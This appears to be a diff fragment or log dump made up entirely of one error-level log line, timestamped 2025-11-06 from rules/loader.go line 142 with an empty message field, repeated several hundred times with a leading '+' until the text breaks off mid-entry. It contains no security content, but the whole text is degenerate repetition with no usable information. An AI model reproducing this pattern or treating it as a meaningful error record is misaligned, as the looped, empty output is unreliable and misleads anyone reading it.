+time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:16+01:00 level=error msg= 